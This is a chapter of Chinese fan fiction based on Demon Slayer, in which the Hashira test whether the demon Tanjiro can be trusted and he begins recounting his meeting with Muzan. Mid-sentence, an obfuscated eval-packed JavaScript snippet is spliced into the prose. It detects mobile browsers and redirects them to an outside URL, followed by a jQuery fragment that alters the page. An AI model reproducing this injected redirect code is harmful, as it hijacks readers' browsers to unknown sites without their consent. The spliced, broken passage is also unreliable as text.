在炭治郎短暂的出现中伊黑小芭内曾仔细观察过这只鬼,除了变小的身体和利齿虹膜中的竖瞳外,行动语言间和普通人类并没有区别。虽然不排除对方是刻意伪装的,但就目前而言他对炭治郎没有攻击性这一点是认可的。 “是…是的!”一旁的甘露寺蜜璃也紧接着开口,众人的目光聚集过来让她有些紧张,但她还是坚定地和众人解释,“我和祢豆子相处的过程中能感受到她是一个很好的人,在这期间她的哥哥灶门炭治郎也一直被带在身边,他没有攻击我的意图。” 产屋敷耀哉点了点头,看着剩下还没发言的人,开口问:“义勇,无一郎,你们怎么想的呢?” “这不是我能决定的事情。”水柱富冈义勇说完又闭嘴,继续当自己不存在。 霞柱时透无一郎表示他都听主公的。 “你们的顾虑我都明白了。”产屋敷耀哉颔首,又对祢豆子问道:“听说你的哥哥炭治郎已经醒过来了,你介意让他出来吗?我想他的实际行动更能说服大家。” 祢豆子点点头,既然跟哥哥交流过的伊黑先生都认可哥哥了,看来哥哥出来主动交谈才是上策。 若这些人想要对出现的哥哥做一些伤害性的举动的话,祢豆子感受着腰间并没有被收走的歌仙兼定,下定决心,就算是拼死她也会保护哥哥的。 一旁的狐之助也靠着祢豆子,它的脖子上的铃铛微微发亮,虽然在夜间但产屋敷寨内灯火通明,没有人能注意到这个细节。 炭治郎刚一从盒子里出来就被院子里的人围观,因为是夜晚,他并没有感到什么不适,小声让祢豆子把他放到地面后,他向檐廊上的产屋敷耀哉行礼:“您好,我是灶门炭治郎,因为我的原因给你们添了麻烦实在很抱歉。” 他抬头看着产屋敷耀哉,这个男人闻起来很温和,院内的人闻起来也完全没有真的恶意,更多的其实是对鬼的厌恶。 他想了想,说道:“我记得变成鬼前后的所有事情,我可以保证除了刚变成鬼神志不清醒的时候伤害了祢豆子外,我真的没有伤害过人类。” “如果有一天我真的伤害了人类,请随意处置我,我绝对不会反抗的!” “你一个鬼的命怎么能和人类相比,等你去吃了人才处置你,那被吃掉的人何其无辜!”不死川实弥发出质疑。 是啊,他们怎么能去赌这个可能性的,一旦赌输,那就是放弃了无辜者的性命。 场面陷入僵局,就在这时产屋敷耀哉开口了。 “实弥,我们无法证明炭治郎以后不会伤害任何人,但同样的,我们也无法证明炭治郎以后一定会伤害人。” “正像小芭内说的,炭治郎和蜜璃他们呆了那么久,而且他本人已经站在这里,我们有理由相信炭治郎对人类并没有攻击性。” “那是因为他是会伪装的鬼,主公大人,我能证明这只鬼的攻击性!”不死川实弥说着就用刀划开手臂,鲜血顺着布满疤痕的手臂滴落。 几乎在鲜血出现的瞬间,炭治郎身上的气势变了。 虹膜跟着竖瞳瞬间收缩,眼睛泛红,炭治郎紧盯着不死川实弥正在流血的胳膊,嘴角流出一丝口水。 “好香……” “哥哥,你感觉怎么样?”祢豆子担忧地问。 “感觉像是一天没吃饭后闻到妈妈准备的烤鸡……好香,不过我还好。” 炭治郎很快就摆脱鲜血味道的诱惑,这让不死川实弥不可置信,他立即站起来,不顾其他人的阻止,嘴里喊着“不可能”“给我好好闻,这可是你们鬼罪喜欢的稀血啊”追着炭治郎就要让他好好闻闻自己身上的血的味道。 一人一鬼绕着祢豆子和甘露寺蜜璃转圈圈,还是产屋敷耀哉发话才让不死川实弥停留下来。 “既然炭治郎已经完成了你的考验,那就相信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055156|194866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一次吧实弥,不要再让自己受伤了。” 不死川实弥不甘地低头同意。 连最不可能的风柱都低头同意了,其他柱更不可能反对主公的话,祢豆子进入鬼杀队这才算是定下来了。 “虽然炭治郎已经证明了自己,仅仅证明自己还不够,还需要有一个人监督才行。”产屋敷耀哉看向还在为炭治郎高兴的甘露寺蜜璃,“蜜璃,你愿意承担起祢豆子的教学和监督炭治郎吗?” “我吗!”甘露寺蜜璃高兴得快要跳起来,“我不会辜负主公大人的期望的!” “不久后一年一度的藤袭山试炼就要开启了,到时候要不要参加你们决定就好,只有通过了藤袭山试炼才能成为正式队员,藤袭山试炼期间炭治郎不能跟过去。祢豆子你要加油啊。” 祢豆子点点头:“我会努力的!” 处理好了祢豆子和炭治郎的事情,产屋敷耀哉才提起第二件事:“炭治郎,你能仔细描述一下鬼舞辻无惨的事情吗?虽然我知道让你回忆这件事很痛苦,但是为了早日打败鬼舞辻无惨,我们需要你。” 在众人目光下,炭治郎缓缓讲述那天发生的事情。 那天他卖完炭回家时风雪已经开始变大了,为了尽快回家他几乎是一路跑回去的,刚到家门口就看到一个打着伞穿着黑色西式大衣的男人站在家门口。 “你好,请问你是?”炭治郎上前问。 男人转身,黑色大衣下是裁剪得体的白色西服,男人穿的并不厚,在这种风雪的天气里应当很冷才是,但他却从容得体,看不出一丝冷意。 他看见炭治郎的第一瞬间似乎很震惊,甚至猛得后退了一步,伞落到地上,白色的雪飘落到男人白色的帽子上。 “你没事吧?”炭治郎赶紧要去扶他却被阻止。 “没事的,我只是有些惊讶,少年,你的耳饰是从哪里来的?” “这个吗?”炭治郎摸摸带着太阳花纹的耳饰,解释道:“这是我家里传下来的,之前是由父亲带着的,父亲去世前吧它交给了我,让我好好保存,等我有了孩子也要好好传承下去。” 男人的脸色在夜间的风雪中幽暗不明。 “炭治郎,你回来了吗?”院内传出妈妈的声音,刚刚炭治郎就闻到了妈妈的味道在门后不远处,应该是担心对方是坏人才没有开门。 “我回来了!”炭治郎大声回复,紧接着院内传来了弟弟妹妹们的回复声。 “哥哥回来了!” “哥哥我今天有乖乖的哦!” 还有直接来开门的。 炭治郎抱住冲过来的茂,摸摸旁边的花子,邀请男人来家里躲避风雪。 “我是灶门炭治郎,请问您怎么称呼?” 男人进入温暖的屋内后摘下帽子,血红色的眼睛看着炭治郎就像看着势在必得的猎物一样,他把帽子扣在胸前微微屈身。 “真是失礼了,灶门君,我是鬼舞辻无惨,很高兴认识你。”